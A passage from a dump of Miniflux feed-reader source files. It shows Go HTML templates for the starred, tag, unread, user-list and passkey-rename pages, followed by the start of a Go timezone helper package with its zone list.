    "content": "{{ define \"title\"}}{{ t \"page.starred.title\" }} ({{ .total }}){{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title page-header-title-count\">\n    <h1 id=\"page-header-title\" dir=\"auto\">\n        {{ t \"page.starred.title\" }}\n        <span aria-hidden=\"true\"> ({{ .total }})</span>\n    </h1>\n    <span id=\"page-header-title-count\" class=\"sr-only\">{{ plural \"page.starred_entry_count\" .total .total }}</span>\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n{{ if not .entries }}\n    <p role=\"alert\" class=\"alert alert-info\">{{ t \"alert.no_starred\" }}</p>\n{{ else }}\n    <div class=\"pagination-top\">\n        {{ template \"pagination\" .pagination }}\n    </div>\n    <div class=\"items\">\n        {{ range .entries }}\n        <article\n            class=\"item entry-item {{ if $.user.EntrySwipe }}entry-swipe{{ end }} item-status-{{ .Status }}\"\n            data-id=\"{{ .ID }}\"\n            aria-labelledby=\"entry-title-{{ .ID }}\"\n            tabindex=\"-1\"\n        >\n            <header class=\"item-header\" dir=\"auto\">\n                <h2 id=\"entry-title-{{ .ID }}\" class=\"item-title\">\n                    <a href=\"{{ routePath \"/starred/entry/%d\" .ID }}\">\n                        {{ if ne .Feed.Icon.IconID 0 }}\n                        <img src=\"{{ routePath \"/feed-icon/%s\" .Feed.Icon.ExternalIconID }}\" width=\"16\" height=\"16\" loading=\"lazy\" alt=\"\">\n                        {{ end }}\n                        {{ .Title }}\n                    </a>\n                </h2>\n                <span class=\"category\">\n                    <a href=\"{{ routePath \"/category/%d/entries\" .Feed.Category.ID }}\">\n                        {{ .Feed.Category.Title }}\n                    </a>\n                </span>\n            </header>\n            {{ template \"item_meta\" dict \"user\" $.user \"entry\" . \"hasSaveEntry\" $.hasSaveEntry }}\n        </article>\n        {{ end }}\n    </div>\n    <div class=\"pagination-bottom\">\n        {{ template \"pagination\" .pagination }}\n    </div>\n{{ end }}\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/tag_entries.html",
    "content": "{{ define \"title\"}}{{ .tagName }} ({{ .total }}){{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title page-header-title-count\">\n    <h1 id=\"page-header-title\" dir=\"auto\">\n        {{ .tagName }}\n        <span aria-hidden=\"true\"> ({{ .total }})</span>\n    </h1>\n    <span id=\"page-header-title-count\" class=\"sr-only\">{{ plural \"page.tag_entry_count\" .total .total }}</span>\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n{{ if not .entries }}\n    <p role=\"alert\" class=\"alert alert-info\">{{ t \"alert.no_tag_entry\" }}</p>\n{{ else }}\n    <div class=\"pagination-top\">\n        {{ template \"pagination\" .pagination }}\n    </div>\n    <div class=\"items\">\n        {{ range .entries }}\n        <article\n            class=\"item entry-item {{ if $.user.EntrySwipe }}entry-swipe{{ end }} item-status-{{ .Status }}\"\n            data-id=\"{{ .ID }}\"\n            aria-labelledby=\"entry-title-{{ .ID }}\"\n            tabindex=\"-1\"\n        >\n            <header class=\"item-header\" dir=\"auto\">\n                <h2 id=\"entry-title-{{ .ID }}\" class=\"item-title\">\n                    <a href=\"{{ routePath \"/tags/%s/entry/%d\" (urlEncode $.tagName) .ID }}\">\n                        {{ if ne .Feed.Icon.IconID 0 }}\n                        <img src=\"{{ routePath \"/feed-icon/%s\" .Feed.Icon.ExternalIconID }}\" width=\"16\" height=\"16\" loading=\"lazy\" alt=\"\">\n                        {{ end }}\n                        {{ .Title }}\n                    </a>\n                </h2>\n                <span class=\"category\">\n                    <a href=\"{{ routePath \"/category/%d/entries\" .Feed.Category.ID }}\">\n                        {{ .Feed.Category.Title }}\n                    </a>\n                </span>\n            </header>\n            {{ template \"item_meta\" dict \"user\" $.user \"entry\" . \"hasSaveEntry\" $.hasSaveEntry }}\n        </article>\n        {{ end }}\n    </div>\n    <div class=\"pagination-bottom\">\n        {{ template \"pagination\" .pagination }}\n    </div>\n{{ end }}\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/unread_entries.html",
    "content": "{{ define \"title\"}}{{ t \"page.unread.title\" }} {{ if gt .countUnread 0 }}({{ .countUnread }}){{ end }} {{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title page-header-title-count\">\n    <h1 id=\"page-header-title\">\n        {{ t \"page.unread.title\" }}\n        <span aria-hidden=\"true\">(<span class=\"unread-counter\">{{ .countUnread }}</span>)</span>\n    </h1>\n    <span id=\"page-header-title-count\" class=\"sr-only\">{{ plural \"page.unread_entry_count\" .countUnread .countUnread }}</span>\n    {{ if .entries }}\n    <nav aria-label=\"{{ t \"page.unread.title\" }} {{ t \"menu.title\" }}\">\n        <ul>\n            <li>\n                <button\n                    class=\"page-button\"\n                    data-action=\"markPageAsRead\"\n                    data-show-only-unread=\"1\"\n                    data-label-question=\"{{ t \"confirm.question\" }}\"\n                    data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                    data-label-no=\"{{ t \"confirm.no\" }}\"\n                    data-label-loading=\"{{ t \"confirm.loading\" }}\">{{ icon \"mark-page-as-read\" }}{{ t \"menu.mark_page_as_read\" }}</button>\n            </li>\n            <li>\n                <button\n                    class=\"page-button\"\n                    data-confirm=\"true\"\n                    data-url=\"{{ routePath \"/mark-all-as-read\" }}\"\n                    data-redirect-url=\"{{ routePath \"/unread\" }}\"\n                    data-label-question=\"{{ t \"confirm.question\" }}\"\n                    data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                    data-label-no=\"{{ t \"confirm.no\" }}\"\n                    data-label-loading=\"{{ t \"confirm.loading\" }}\">{{ icon \"mark-all-as-read\" }}{{ t \"menu.mark_all_as_read\" }}</button>\n            </li>\n        </ul>\n    </nav>\n    {{ end }}\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n{{ if not .entries }}\n    <p role=\"alert\" class=\"alert\">{{ t \"alert.no_unread_entry\" }}</p>\n{{ else }}\n    <div class=\"pagination-top\">\n        {{ template \"pagination\" .pagination -}}\n    </div>\n    <div class=\"items hide-read-items\">\n        {{ range .entries -}}\n        <article\n            class=\"item entry-item {{ if $.user.EntrySwipe }}entry-swipe{{ end }} item-status-{{ .Status }}\"\n            data-id=\"{{ .ID }}\"\n            aria-labelledby=\"entry-title-{{ .ID }}\"\n            tabindex=\"-1\"\n        >\n            <header class=\"item-header\" dir=\"auto\">\n                <h2 id=\"entry-title-{{ .ID }}\" class=\"item-title\">\n                    <a href=\"{{ routePath \"/unread/entry/%d\" .ID }}\">\n                        {{ if ne .Feed.Icon.IconID 0 -}}\n                        <img src=\"{{ routePath \"/feed-icon/%s\" .Feed.Icon.ExternalIconID }}\" width=\"16\" height=\"16\" loading=\"lazy\" alt=\"\">\n                        {{ end -}}\n                        {{ .Title }}\n                    </a>\n                </h2>\n                <span class=\"category\">\n                    <a href=\"{{ routePath \"/category/%d/entries\" .Feed.Category.ID }}\">\n                        {{ .Feed.Category.Title }}\n                    </a>\n                </span>\n            </header>\n            {{ template \"item_meta\" dict \"user\" $.user \"entry\" . \"hasSaveEntry\" $.hasSaveEntry -}}\n        </article>\n        {{ end }}\n    </div>\n    <section class=\"page-footer\">\n        {{ if .entries }}\n        <ul>\n            <li>\n                <button\n                    class=\"page-button\"\n                    data-action=\"markPageAsRead\"\n                    data-label-question=\"{{ t \"confirm.question\" }}\"\n                    data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                    data-label-no=\"{{ t \"confirm.no\" }}\"\n                    data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                >\n                    {{ icon \"mark-page-as-read\" }}{{ t \"menu.mark_page_as_read\" }}\n                </button>\n            </li>\n        </ul>\n        {{ end }}\n    </section>\n    <div class=\"pagination-bottom\">\n        {{ template \"pagination\" .pagination }}\n    </div>\n{{ end }}\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/users.html",
    "content": "{{ define \"title\"}}{{ t \"page.users.title\" }}{{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\">{{ t \"page.users.title\" }}</h1>\n    {{ template \"settings_menu\" dict \"user\" .user }}\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n{{ if eq (len .users) 1 }}\n    <p role=\"alert\" class=\"alert\">{{ t \"alert.no_user\" }}</p>\n{{ else }}\n    <table>\n        <tr>\n            <th class=\"column-20\">{{ t \"page.users.username\" }}</th>\n            <th>{{ t \"page.users.is_admin\" }}</th>\n            <th>{{ t \"page.users.last_login\" }}</th>\n            <th>{{ t \"page.users.actions\" }}</th>\n        </tr>\n        {{ range .users }}\n            {{ if ne .ID $.user.ID }}\n            <tr>\n                <td>{{ .Username }}</td>\n                <td>{{ if eq .IsAdmin true }}{{ t \"page.users.admin.yes\" }}{{ else }}{{ t \"page.users.admin.no\" }}{{ end }}</td>\n                <td>\n                    {{ if .LastLoginAt }}\n                        <time datetime=\"{{ isodate .LastLoginAt }}\" title=\"{{ isodate .LastLoginAt }}\">{{ elapsed $.user.Timezone .LastLoginAt }}</time>\n                    {{ else }}\n                        {{ t \"page.users.never_logged\" }}\n                    {{ end }}\n                </td>\n                <td>\n                    <a href=\"{{ routePath \"/users/%d/edit\" .ID }}\">{{ t \"action.edit\" }}</a>,\n                    <a href=\"#\"\n                        data-confirm=\"true\"\n                        data-label-question=\"{{ t \"confirm.question\" }}\"\n                        data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                        data-label-no=\"{{ t \"confirm.no\" }}\"\n                        data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                        data-url=\"{{ routePath \"/users/%d/remove\" .ID }}\">{{ t \"action.remove\" }}</a>\n                </td>\n            </tr>\n            {{ end }}\n        {{ end }}\n    </table>\n    <br>\n{{ end }}\n\n<p>\n    <a href=\"{{ routePath \"/user/create\" }}\" class=\"button button-primary\">{{ t \"menu.add_user\" }}</a>\n</p>\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/webauthn_rename.html",
    "content": "{{ define \"title\"}}{{ t \"page.webauthn_rename.title\" }}{{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\">{{ t \"page.webauthn_rename.title\" }}</h1>\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n<form action=\"{{ routePath \"/webauthn/%s/save\" .cred.HandleEncoded }}\" method=\"post\" autocomplete=\"off\">\n    <input type=\"hidden\" name=\"csrf\" value=\"{{ .csrf }}\">\n\n    {{ if .errorMessage }}\n        <div role=\"alert\" class=\"alert alert-error\">{{ .errorMessage }}</div>\n    {{ end }}\n\n    <label for=\"form-title\">{{ t \"page.settings.webauthn.passkey_name\" }}</label>\n    <input type=\"text\" name=\"name\" id=\"form-title\" value=\"{{ .form.Name }}\" autofocus>\n\n    <div class=\"buttons\">\n        <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n    </div>\n</form>\n{{ end }}\n"
  },
  {
    "path": "internal/timezone/timezone.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage timezone // import \"miniflux.app/v2/internal/timezone\"\n\nimport (\n\t\"iter\"\n\t\"slices\"\n\t\"sync\"\n\t\"time\"\n)\n\nvar (\n\ttzCache   = sync.Map{} // Cache for time locations to avoid loading them multiple times.\n\ttimezones = []string{  // This list is taken from Postgres on Debian Trixie.\n\t\t\"Africa/Abidjan\",\n\t\t\"Africa/Accra\",\n\t\t\"Africa/Addis_Ababa\",\n\t\t\"Africa/Algiers\",\n\t\t\"Africa/Asmara\",\n\t\t\"Africa/Bamako\",\n\t\t\"Africa/Bangui\",\n\t\t\"Africa/Banjul\",\n\t\t\"Africa/Bissau\",\n\t\t\"Africa/Blantyre\",\n\t\t\"Africa/Brazzaville\",\n\t\t\"Africa/Bujumbura\",\n\t\t\"Africa/Cairo\",\n\t\t\"Africa/Casablanca\",\n\t\t\"Africa/Ceuta\",\n\t\t\"Africa/Conakry\",\n\t\t\"Africa/Dakar\",\n\t\t\"Africa/Dar_es_Salaam\",\n\t\t\"Africa/Djibouti\",\n\t\t\"Africa/Douala\",\n\t\t\"Africa/El_Aaiun\",\n\t\t\"Africa/Freetown\",\n\t\t\"Africa/Gaborone\",\n\t\t\"Africa/Harare\",\n\t\t\"Africa/Johannesburg\",\n\t\t\"Africa/Juba\",\n\t\t\"Africa/Kampala\",\n\t\t\"Africa/Khartoum\",\n\t\t\"Africa/Kigali\",\n\t\t\"Africa/Kinshasa\",\n\t\t\"Africa/Lagos\",\n\t\t\"Africa/Libreville\",\n\t\t\"Africa/Lome\",\n\t\t\"Africa/Luanda\",\n\t\t\"Africa/Lubumbashi\",\n\t\t\"Africa/Lusaka\",\n\t\t\"Africa/Malabo\",\n\t\t\"Africa/Maputo\",\n\t\t\"Africa/Maseru\",\n\t\t\"Africa/Mbabane\",\n\t\t\"Africa/Mogadishu\",\n\t\t\"Africa/Monrovia\",\n\t\t\"Africa/Nairobi\",\n\t\t\"Africa/Ndjamena\",\n\t\t\"Africa/Niamey\",\n\t\t\"Africa/Nouakchott\",\n\t\t\"Africa/Ouagadougou\",\n\t\t\"Africa/Porto-Novo\",\n\t\t\"Africa/Sao_Tome\",\n\t\t\"Africa/Timbuktu\",\n\t\t\"Africa/Tripoli\",\n\t\t\"Africa/Tunis\",\n\t\t\"Africa/Windhoek\",\n\t\t\"America/Adak\",\n\t\t\"America/Anchorage\",\n\t\t\"America/Anguilla\",\n\t\t\"America/Antigua\",\n\t\t\"America/Araguaina\",\n\t\t\"America/Argentina/Buenos_Aires\",\n\t\t\"America/Argentina/Catamarca\",\n\t\t\"America/Argentina/Cordoba\",\n\t\t\"America/Argentina/Jujuy\",\n\t\t\"America/Argentina/La_Rioja\",\n\t\t\"America/Argentina/Mendoza\",\n\t\t\"America/Argentina/Rio_Gallegos\",\n\t\t\"America/Argentina/Salta\",\n\t\t\"America/Argentina/San_Juan\",\n\t\t\"America/Argentina/San_Luis\",\n\t\t\"America/Argentina/Tucuman\",\n\t\t\"America/Argentina/Ushuaia\",\n\t\t\"America/Aruba\",\n\t\t\"America/Asuncion\",\n\t\t\"America/Atikokan\",\n\t\t\"America/Atka\",\n\t\t\"America/Bahia\",\n\t\t\"America/Bahia_Banderas\",\n\t\t\"America/Barbados\",\n\t\t\"America/Belem\",\n\t\t\"America/Belize\",\n\t\t\"America/Blanc-Sablon\",\n\t\t\"America/Boa_Vista\",\n\t\t\"America/Bogota\",\n\t\t\"America/Boise\",\n\t\t\"America/Cambridge_Bay\",\n\t\t\"America/Campo_Grande\",\n\t\t\"America/Cancun\",\n\t\t\"America/Caracas\",\n\t\t\"America/Cayenne\",\n\t\t\"America/Cayman\",\n\t\t\"America/Chicago\",\n\t\t\"America/Chihuahua\",\n\t\t\"America/Ciudad_Juarez\",\n\t\t\"America/Coral_Harbour\",\n\t\t\"America/Costa_Rica\",\n\t\t\"America/Coyhaique\",\n\t\t\"America/Creston\",\n\t\t\"America/Cuiaba\",\n\t\t\"America/Curacao\",\n\t\t\"America/Danmarkshavn\",\n\t\t\"America/Dawson\",\n\t\t\"America/Dawson_Creek\",\n\t\t\"America/Denver\",\n\t\t\"America/Detroit\",\n\t\t\"America/Dominica\",\n\t\t\"America/Edmonton\",\n\t\t\"America/Eirunepe\",\n\t\t\"America/El_Salvador\",\n\t\t\"America/Ensenada\",\n\t\t\"America/Fortaleza\",\n\t\t\"America/Fort_Nelson\",\n\t\t\"America/Glace_Bay\",\n\t\t\"America/Goose_Bay\",\n\t\t\"America/Grand_Turk\",\n\t\t\"America/Grenada\",\n\t\t\"America/Guadeloupe\",\n\t\t\"America/Guatemala\",\n\t\t\"America/Guayaquil\",\n\t\t\"America/Guyana\",\n\t\t\"America/Halifax\",\n\t\t\"America/Havana\",\n\t\t\"America/Hermosillo\",\n\t\t\"America/Indiana/Indianapolis\",\n\t\t\"America/Indiana/Knox\",\n\t\t\"America/Indiana/Marengo\",\n\t\t\"America/Indiana/Petersburg\",\n\t\t\"America/Indiana/Tell_City\",\n\t\t\"America/Indiana/Vevay\",\n\t\t\"America/Indiana/Vincennes\",\n\t\t\"America/Indiana/Winamac\",\n\t\t\"America/Inuvik\",\n\t\t\"America/Iqaluit\",\n\t\t\"America/Jamaica\",\n\t\t\"America/Juneau\",\n\t\t\"America/Kentucky/Louisville\",\n\t\t\"America/Kentucky/Monticello\",\n\t\t\"America/Kralendijk\",\n\t\t\"America/La_Paz\",\n\t\t\"America/Lima\",\n\t\t\"America/Los_Angeles\",\n\t\t\"America/Lower_Princes\",\n\t\t\"America/Maceio\",\n\t\t\"America/Managua\",\n\t\t\"America/Manaus\",\n\t\t\"America/Marigot\",\n\t\t\"America/Martinique\",\n\t\t\"America/Matamoros\",\n\t\t\"America/Mazatlan\",\n\t\t\"America/Menominee\",\n\t\t\"America/Merida\",\n\t\t\"America/Metlakatla\",\n\t\t\"America/Mexico_City\",\n\t\t\"America/Miquelon\",\n\t\t\"America/Moncton\",\n\t\t\"America/Monterrey\",\n\t\t\"America/Montevideo\",\n\t\t\"America/Montreal\",\n\t\t\"America/Montserrat\",\n\t\t\"America/Nassau\",\n\t\t\"America/New_York\",\n\t\t\"America/Nipigon\",\n\t\t\"America/Nome\",\n\t\t\"America/Noronha\",\n\t\t\"America/North_Dakota/Beulah\",\n\t\t\"America/North_Dakota/Center\",\n\t\t\"America/North_Dakota/New_Salem\",\n\t\t\"America/Nuuk\",\n\t\t\"America/Ojinaga\",\n\t\t\"America/Panama\",\n\t\t\"America/Pangnirtung\",\n\t\t\"America/Paramaribo\",\n\t\t\"America/Phoenix\",\n\t\t\"America/Port-au-Prince\",\n\t\t\"America/Porto_Acre\",\n\t\t\"America/Port_of_Spain\",\n\t\t\"America/Porto_Velho\",\n\t\t\"America/Puerto_Rico\",\n\t\t\"America/Punta_Arenas\",\n\t\t\"America/Rainy_River\",\n\t\t\"America/Rankin_Inlet\",\n\t\t\"America/Recife\",\n\t\t\"America/Regina\",\n\t\t\"America/Resolute\",\n\t\t\"America/Rio_Branco\",\n\t\t\"America/Santa_Isabel\",\n\t\t\"America/Santarem\",\n\t\t\"America/Santiago\",\n\t\t\"America/Santo_Domingo\",\n\t\t\"America/Sao_Paulo\",\n\t\t\"America/Scoresbysund\",\n\t\t\"America/Shiprock\",\n\t\t\"America/Sitka\",\n\t\t\"America/St_Barthelemy\",\n\t\t\"America/St_Johns\",\n\t\t\"America/St_Kitts\",\n\t\t\"America/St_Lucia\",\n\t\t\"America/St_Thomas\",\n\t\t\"America/St_Vincent\",\n\t\t\"America/Swift_Current\",\n\t\t\"America/Tegucigalpa\",\n\t\t\"America/Thule\",\n\t\t\"America/Thunder_Bay\",\n\t\t\"America/Tijuana\",\n\t\t\"America/Toronto\",\n\t\t\"America/Tortola\",\n\t\t\"America/Vancouver\",\n\t\t\"America/Virgin\",\n\t\t\"America/Whitehorse\",\n\t\t\"America/Winnipeg\",\n\t\t\"America/Yakutat\",\n\t\t\"America/Yellowknife\",\n\t\t\"Antarctica/Casey\",\n\t\t\"Antarctica/Davis\",\n\t\t\"Antarctica/DumontDUrville\",\n\t\t\"Antarctica/Macquarie\",\n\t\t\"Antarctica/Mawson\",\n\t\t\"Antarctica/McMurdo\",\n\t\t\"Antarctica/Palmer\",\n\t\t\"Antarctica/Rothera\",\n\t\t\"Antarctica/Syowa\",\n\t\t\"Antarctica/Troll\",\n\t\t\"Antarctica/Vostok\",\n\t\t\"Arctic/Longyearbyen\",\n\t\t\"Asia/Aden\",\n\t\t\"Asia/Almaty\",\n\t\t\"Asia/Amman\",\n\t\t\"Asia/Anadyr\",\n\t\t\"Asia/Aqtau\",\n\t\t\"Asia/Aqtobe\",\n\t\t\"Asia/Ashgabat\",\n\t\t\"Asia/Atyrau\",\n\t\t\"Asia/Baghdad\",\n\t\t\"Asia/Bahrain\",\n\t\t\"Asia/Baku\",\n\t\t\"Asia/Bangkok\",\n\t\t\"Asia/Barnaul\",\n\t\t\"Asia/Beirut\",\n\t\t\"Asia/Bishkek\",\n\t\t\"Asia/Brunei\",\n\t\t\"Asia/Chita\",\n\t\t\"Asia/Chongqing\",\n\t\t\"Asia/Colombo\",\n\t\t\"Asia/Damascus\",\n\t\t\"Asia/Dhaka\",\n\t\t\"Asia/Dili\",\n\t\t\"Asia/Dubai\",\n\t\t\"Asia/Dushanbe\",\n\t\t\"Asia/Famagusta\",\n\t\t\"Asia/Gaza\",\n\t\t\"Asia/Harbin\",\n\t\t\"Asia/Hebron\",\n\t\t\"Asia/Ho_Chi_Minh\",\n\t\t\"Asia/Hong_Kong\",\n\t\t\"Asia/Hovd\",\n\t\t\"Asia/Irkutsk\",\n\t\t\"Asia/Istanbul\",\n\t\t\"Asia/Jakarta\",\n\t\t\"Asia/Jayapura\",\n\t\t\"Asia/Jerusalem\",\n\t\t\"Asia/Kabul\",\n\t\t\"Asia/Kamchatka\",\n\t\t\"Asia/Karachi\",\n\t\t\"Asia/Kashgar\",\n\t\t\"Asia/Kathmandu\",\n\t\t\"Asia/Khandyga\",\n\t\t\"Asia/Kolkata\",\n\t\t\"Asia/Krasnoyarsk\",\n\t\t\"Asia/Kuala_Lumpur\",\n\t\t\"Asia/Kuching\",\n\t\t\"Asia/Kuwait\",\n\t\t\"Asia/Macau\",\n\t\t\"Asia/Magadan\",\n\t\t\"Asia/Makassar\",\n\t\t\"Asia/Manila\",\n\t\t\"Asia/Muscat\",\n\t\t\"Asia/Nicosia\",\n\t\t\"Asia/Novokuznetsk\",\n\t\t\"Asia/Novosibirsk\",\n\t\t\"Asia/Omsk\",\n\t\t\"Asia/Oral\",\n\t\t\"Asia/Phnom_Penh\",\n\t\t\"Asia/Pontianak\",\n\t\t\"Asia/Pyongyang\",\n\t\t\"Asia/Qatar\",\n\t\t\"Asia/Qostanay\",\n\t\t\"Asia/Qyzylorda\",\n\t\t\"Asia/Riyadh\",\n\t\t\"Asia/Sakhalin\",\n\t\t\"Asia/Samarkand\",\n\t\t\"Asia/Seoul\",\n\t\t\"Asia/Shanghai\",\n\t\t\"Asia/Singapore\",\n\t\t\"Asia/Srednekolymsk\",\n\t\t\"Asia/Taipei\",\n\t\t\"Asia/Tashkent\",\n\t\t\"Asia/Tbilisi\",\n\t\t\"Asia/Tehran\",\n\t\t\"Asia/Tel_Aviv\",\n\t\t\"Asia/Thimphu\",\n\t\t\"Asia/Tokyo\",\n\t\t\"Asia/Tomsk\",\n\t\t\"Asia/Ulaanbaatar\",\n\t\t\"Asia/Urumqi\",\n\t\t\"Asia/Ust-Nera\",\n\t\t\"Asia/Vientiane\",\n\t\t\"Asia/Vladivostok\",\n\t\t\"Asia/Yakutsk\",\n\t\t\"Asia/Yangon\",\n\t\t\"Asia/Yekaterinburg\",\n\t\t\"Asia/Yerevan\",\n\t\t\"Atlantic/Azores\",\n\t\t\"Atlantic/Bermuda\",\n\t\t\"Atlantic/Canary\",\n\t\t\"Atlantic/Cape_Verde\",\n\t\t\"Atlantic/Faroe\",\n\t\t\"Atlantic/Jan_Mayen\",\n\t\t\"Atlantic/Madeira\",\n\t\t\"Atlantic/Reykjavik\",\n\t\t\"Atlantic/South_Georgia\",\n\t\t\"Atlantic/Stanley\",\n\t\t\"Atlantic/St_Helena\",\n\t\t\"Australia/Adelaide\",\n\t\t\"Australia/Brisbane\",\n\t\t\"Australia/Broken_Hill\",\n\t\t\"Australia/Canberra\",\n\t\t\"Australia/Currie\",\n\t\t\"Australia/Darwin\",\n\t\t\"Australia/Eucla\",\n\t\t\"Australia/Hobart\",\n\t\t\"Australia/Lindeman\",\n\t\t\"Australia/Lord_Howe\",\n\t\t\"Australia/Melbourne\",\n\t\t\"Australia/Perth\",\n\t\t\"Australia/Sydney\",\n\t\t\"Australia/Yancowinna\",\n\t\t\"Europe/Amsterdam\",\n\t\t\"Europe/Andorra\",\n\t\t\"Europe/Astrakhan\",\n\t\t\"Europe/Athens\",\n\t\t\"Europe/Belfast\",\n\t\t\"Europe/Belgrade\",\n\t\t\"Europe/Berlin\",\n\t\t\"Europe/Bratislava\",\n\t\t\"Europe/Brussels\",\n\t\t\"Europe/Bucharest\",\n\t\t\"Europe/Budapest\",\n\t\t\"Europe/Busingen\",\n\t\t\"Europe/Chisinau\",\n\t\t\"Europe/Copenhagen\",\n\t\t\"Europe/Dublin\",\n\t\t\"Europe/Gibraltar\",\n\t\t\"Europe/Guernsey\",\n\t\t\"Europe/Helsinki\",\n\t\t\"Europe/Isle_of_Man\",\n\t\t\"Europe/Istanbul\",\n\t\t\"Europe/Jersey\",\n\t\t\"Europe/Kaliningrad\",\n\t\t\"Europe/Kirov\",\n\t\t\"Europe/Kyiv\",\n\t\t\"Europe/Lisbon\",\n\t\t\"Europe/Ljubljana\",\n\t\t\"Europe/London\",\n\t\t\"Europe/Luxembourg\",\n\t\t\"Europe/Madrid\",\n\t\t\"Europe/Malta\",\n\t\t\"Europe/Mariehamn\",\n\t\t\"Europe/Minsk\",\n\t\t\"Europe/Monaco\",\n\t\t\"Europe/Moscow\",\n\t\t\"Europe/Nicosia\",\n\t\t\"Europe/Oslo\",\n\t\t\"Europe/Paris\",\n\t\t\"Europe/Podgorica\",\n\t\t\"Europe/Prague\",\n\t\t\"Europe/Riga\",\n\t\t\"Europe/Rome\",\n\t\t\"Europe/Samara\",\n\t\t\"Europe/San_Marino\",\n\t\t\"Europe/Sarajevo\",\n\t\t\"Europe/Saratov\",\n\t\t\"Europe/Simferopol\",\n\t\t\"Europe/Skopje\",\n\t\t\"Europe/Sofia\",\n\t\t\"Europe/Stockholm\",\n\t\t\"Europe/Tallinn\",\n\t\t\"Europe/Tirane\",\n\t\t\"Europe/Tiraspol\",\n\t\t\"Europe/Ulyanovsk\",\n\t\t\"Europe/Vaduz\",\n\t\t\"Europe/Vatican\",\n\t\t\"Europe/Vienna\",\n\t\t\"Europe/Vilnius\",\n\t\t\"Europe/Volgograd\",\n\t\t\"Europe/Warsaw\",\n\t\t\"Europe/Zagreb\",\n\t\t\"Europe/Zurich\",\n\t\t\"GMT\",\n\t\t\"Indian/Antananarivo\",\n\t\t\"Indian/Chagos\",\n\t\t\"Indian/Christmas\",\n\t\t\"Indian/Cocos\",\n\t\t\"Indian/Comoro\",\n\t\t\"Indian/Kerguelen\",\n\t\t\"Indian/Mahe\",\n\t\t\"Indian/Maldives\",\n\t\t\"Indian/Mauritius\",\n\t\t\"Indian/Mayotte\",\n\t\t\"Indian/Reunion\",\n\t\t\"Pacific/Apia\",\n\t\t\"Pacific/Auckland\",\n\t\t\"Pacific/Bougainville\",\n\t\t\"Pacific/Chatham\",\n\t\t\"Pacific/Chuuk\",\n\t\t\"Pacific/Easter\",\n\t\t\"Pacific/Efate\",\n\t\t\"Pacific/Fakaofo\",\n\t\t\"Pacific/Fiji\",\n\t\t\"Pacific/Funafuti\",\n\t\t\"Pacific/Galapagos\",\n\t\t\"Pacific/Gambier\",\n\t\t\"Pacific/Guadalcanal\",\n\t\t\"Pacific/Guam\",\n\t\t\"Pacific/Honolulu\",\n\t\t\"Pacific/Johnston\",\n\t\t\"Pacific/Kanton\",\n\t\t\"Pacific/Kiritimati\",\n\t\t\"Pacific/Kosrae\",\n\t\t\"Pacific/Kwajalein\",\n\t\t\"Pacific/Majuro\",\n\t\t\"Pacific/Marquesas\",\n\t\t\"Pacific/Midway\",\n\t\t\"Pacific/Nauru\",\n\t\t\"Pacific/Niue\",\n\t\t\"Pacific/Norfolk\",\n\t\t\"Pacific/Noumea\",\n\t\t\"Pacific/Pago_Pago\",\n\t\t\"Pacific/Palau\",\n\t\t\"Pacific/Pitcairn\",\n\t\t\"Pacific/Pohnpei\",\n\t\t\"Pacific/Port_Moresby\",\n\t\t\"Pacific/Rarotonga\",\n\t\t\"Pacific/Saipan\",\n\t\t\"Pacific/Samoa\",\n\t\t\"Pacific/Tahiti\",\n\t\t\"Pacific/Tarawa\",\n\t\t\"Pacific/Tongatapu\",\n\t\t\"Pacific/Wake\",\n\t\t\"Pacific/Wallis\",\n\t\t\"Pacific/Yap\",\n\t\t\"UTC\",\n\t}\n)\n\n// Convert returns the provided time expressed in the given timezone.\nfunc Convert(tz string, t time.Time) time.Time {\n\tuserTimezone := getLocation(tz)\n\n\tif t.Location().String() == \"\" {\n\t\tif t.Before(time.Date(1, time.January, 1, 0, 0, 0, 0, time.UTC)) {\n\t\t\treturn time.Date(0, time.January, 1, 0, 0, 0, 0, userTimezone)\n\t\t}\n\n\t\t// In this case, the provided date is already converted to the user timezone by Postgres,\n\t\t// but the timezone information is not set in the time struct.\n\t\t// We cannot use time.In() because the date will be converted a second time.\n\t\treturn time.Date(\n\t\t\tt.Year(),\n\t\t\tt.Month(),\n\t\t\tt.Day(),\n\t\t\tt.Hour(),\n\t\t\tt.Minute(),\n\t\t\tt.Second(),\n\t\t\tt.Nanosecond(),\n\t\t\tuserTimezone,\n\t\t)\n\t} else if t.Location() != userTimezone {\n\t\treturn t.In(userTimezone)\n\t}\n\n\treturn t\n}\n\n// Now returns the current time in the given timezone.\nfunc Now(tz string) time.Time {\n\treturn time.Now().In(getLocation(tz))\n}\n\nfunc getLocation(tz string) *time.Location {\n\tif loc, ok := tzCache.Load(tz); ok {\n\t\treturn loc.(*time.Location)\n\t}\n\n\tloc, err := time.LoadLocation(tz)\n\tif err != nil {\n\t\tloc = time.Local\n\t}\n\n\ttzCache.Store(tz, loc)\n\treturn loc\n}\n\n// IsValid reports whether the timezone string is in the supported list.\nfunc IsValid(timezone string) bool {\n\t_, found := 